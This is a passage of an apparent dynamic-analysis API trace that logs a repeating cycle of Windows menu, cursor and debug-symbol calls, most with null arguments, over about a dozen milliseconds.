(FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.150] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.150] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.150] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.150] GetLastError () returned 0x579 [0185.150] SetLastError (dwErrCode=0x579) [0185.150] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.150] SymCleanup (hProcess=0x0) returned 0 [0185.150] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.150] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.150] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.150] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.150] GetLastError () returned 0x579 [0185.150] SetLastError (dwErrCode=0x579) [0185.150] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.150] SymCleanup (hProcess=0x0) returned 0 [0185.151] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.151] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.151] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.151] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.151] GetLastError () returned 0x579 [0185.151] SetLastError (dwErrCode=0x579) [0185.151] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.151] SymCleanup (hProcess=0x0) returned 0 [0185.151] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.151] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.151] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.151] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.151] GetLastError () returned 0x579 [0185.151] SetLastError (dwErrCode=0x579) [0185.151] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.151] SymCleanup (hProcess=0x0) returned 0 [0185.151] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.151] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.151] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.151] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=0, param_4=75, param_5=0x0, param_6=0x0) returned 0 [0185.151] GetLastError () returned 0x579 [0185.151] SetLastError (dwErrCode=0x579) [0185.151] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.151] SymCleanup (hProcess=0x0) returned 0 [0185.151] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.151] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.152] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.152] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.152] GetLastError () returned 0x579 [0185.152] SetLastError (dwErrCode=0x579) [0185.152] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.152] SymCleanup (hProcess=0x0) returned 0 [0185.152] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.152] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.152] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.152] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.152] GetLastError () returned 0x579 [0185.152] SetLastError (dwErrCode=0x579) [0185.152] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.152] SymCleanup (hProcess=0x0) returned 0 [0185.152] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.152] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.152] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.152] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.152] GetLastError () returned 0x579 [0185.152] SetLastError (dwErrCode=0x579) [0185.152] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.152] SymCleanup (hProcess=0x0) returned 0 [0185.152] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.152] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.152] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.153] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.153] GetLastError () returned 0x579 [0185.153] SetLastError (dwErrCode=0x579) [0185.153] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.153] SymCleanup (hProcess=0x0) returned 0 [0185.153] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.153] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.153] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.153] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=365, param_4=729, param_5=0x0, param_6=0x0) returned 0 [0185.153] GetLastError () returned 0x579 [0185.153] SetLastError (dwErrCode=0x579) [0185.153] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.153] SymCleanup (hProcess=0x0) returned 0 [0185.153] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.153] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.153] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.153] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.153] GetLastError () returned 0x579 [0185.153] SetLastError (dwErrCode=0x579) [0185.153] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.153] SymCleanup (hProcess=0x0) returned 0 [0185.153] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.153] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.153] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.154] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.154] GetLastError () returned 0x579 [0185.154] SetLastError (dwErrCode=0x579) [0185.154] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.154] SymCleanup (hProcess=0x0) returned 0 [0185.154] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.154] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.154] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.154] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.154] GetLastError () returned 0x579 [0185.154] SetLastError (dwErrCode=0x579) [0185.154] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.154] SymCleanup (hProcess=0x0) returned 0 [0185.154] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.154] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.154] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.154] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.154] GetLastError () returned 0x579 [0185.154] SetLastError (dwErrCode=0x579) [0185.154] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.154] SymCleanup (hProcess=0x0) returned 0 [0185.154] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.154] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.154] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.154] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1076, param_4=878, param_5=0x0, param_6=0x0) returned 0 [0185.155] GetLastError () returned 0x579 [0185.155] SetLastError (dwErrCode=0x579) [0185.155] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.155] SymCleanup (hProcess=0x0) returned 0 [0185.155] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.155] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.155] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.155] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.155] GetLastError () returned 0x579 [0185.155] SetLastError (dwErrCode=0x579) [0185.155] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.155] SymCleanup (hProcess=0x0) returned 0 [0185.155] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.155] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.155] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.155] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.155] GetLastError () returned 0x579 [0185.155] SetLastError (dwErrCode=0x579) [0185.155] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.155] SymCleanup (hProcess=0x0) returned 0 [0185.155] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.155] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.155] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.155] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.156] GetLastError () returned 0x579 [0185.156] SetLastError (dwErrCode=0x579) [0185.156] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.156] SymCleanup (hProcess=0x0) returned 0 [0185.156] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.156] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.156] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.156] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.156] GetLastError () returned 0x579 [0185.156] SetLastError (dwErrCode=0x579) [0185.156] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.156] SymCleanup (hProcess=0x0) returned 0 [0185.156] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.156] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.156] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.156] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=880, param_4=93, param_5=0x0, param_6=0x0) returned 0 [0185.156] GetLastError () returned 0x579 [0185.156] SetLastError (dwErrCode=0x579) [0185.156] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.156] SymCleanup (hProcess=0x0) returned 0 [0185.156] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.156] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.156] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.156] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.156] GetLastError () returned 0x579 [0185.157] SetLastError (dwErrCode=0x579) [0185.157] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.157] SymCleanup (hProcess=0x0) returned 0 [0185.157] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.157] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.157] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.157] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.157] GetLastError () returned 0x579 [0185.157] SetLastError (dwErrCode=0x579) [0185.157] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.157] SymCleanup (hProcess=0x0) returned 0 [0185.157] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.157] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.157] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.157] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.157] GetLastError () returned 0x579 [0185.157] SetLastError (dwErrCode=0x579) [0185.157] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.157] SymCleanup (hProcess=0x0) returned 0 [0185.157] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.157] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.157] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.157] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.157] GetLastError () returned 0x579 [0185.158] SetLastError (dwErrCode=0x579) [0185.158] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.158] SymCleanup (hProcess=0x0) returned 0 [0185.158] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.158] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.158] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.158] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1318, param_4=126, param_5=0x0, param_6=0x0) returned 0 [0185.158] GetLastError () returned 0x579 [0185.158] SetLastError (dwErrCode=0x579) [0185.158] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.158] SymCleanup (hProcess=0x0) returned 0 [0185.158] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.158] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.158] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.158] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.158] GetLastError () returned 0x579 [0185.158] SetLastError (dwErrCode=0x579) [0185.158] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.158] SymCleanup (hProcess=0x0) returned 0 [0185.158] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.158] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.158] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.158] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.158] GetLastError () returned 0x579 [0185.158] SetLastError (dwErrCode=0x579) [0185.158] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.159] SymCleanup (hProcess=0x0) returned 0 [0185.159] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.159] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.159] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.159] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.159] GetLastError () returned 0x579 [0185.159] SetLastError (dwErrCode=0x579) [0185.159] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.159] SymCleanup (hProcess=0x0) returned 0 [0185.159] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.159] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.159] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.159] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.159] GetLastError () returned 0x579 [0185.159] SetLastError (dwErrCode=0x579) [0185.159] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.159] SymCleanup (hProcess=0x0) returned 0 [0185.159] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.159] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.159] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.159] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=912, param_4=747, param_5=0x0, param_6=0x0) returned 0 [0185.159] GetLastError () returned 0x579 [0185.159] SetLastError (dwErrCode=0x579) [0185.159] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.159] SymCleanup (hProcess=0x0) returned 0 [0185.160] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.160] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.160] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.160] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.160] GetLastError () returned 0x579 [0185.160] SetLastError (dwErrCode=0x579) [0185.160] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.160] SymCleanup (hProcess=0x0) returned 0 [0185.160] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.160] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.160] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.160] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.160] GetLastError () returned 0x579 [0185.160] SetLastError (dwErrCode=0x579) [0185.160] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.160] SymCleanup (hProcess=0x0) returned 0 [0185.160] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.160] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.160] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.160] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.160] GetLastError () returned 0x579 [0185.161] SetLastError (dwErrCode=0x579) [0185.161] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.161] SymCleanup (hProcess=0x0) returned 0 [0185.161] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.161] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.161] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.161] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.161] GetLastError () returned 0x579 [0185.161] SetLastError (dwErrCode=0x579) [0185.161] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.161] SymCleanup (hProcess=0x0) returned 0 [0185.161] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.161] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.161] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.161] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=964, param_4=40, param_5=0x0, param_6=0x0) returned 0 [0185.161] GetLastError () returned 0x579 [0185.162] SetLastError (dwErrCode=0x579) [0185.162] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.162] SymCleanup (hProcess=0x0) returned 0 [0185.162] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.162] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.162] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 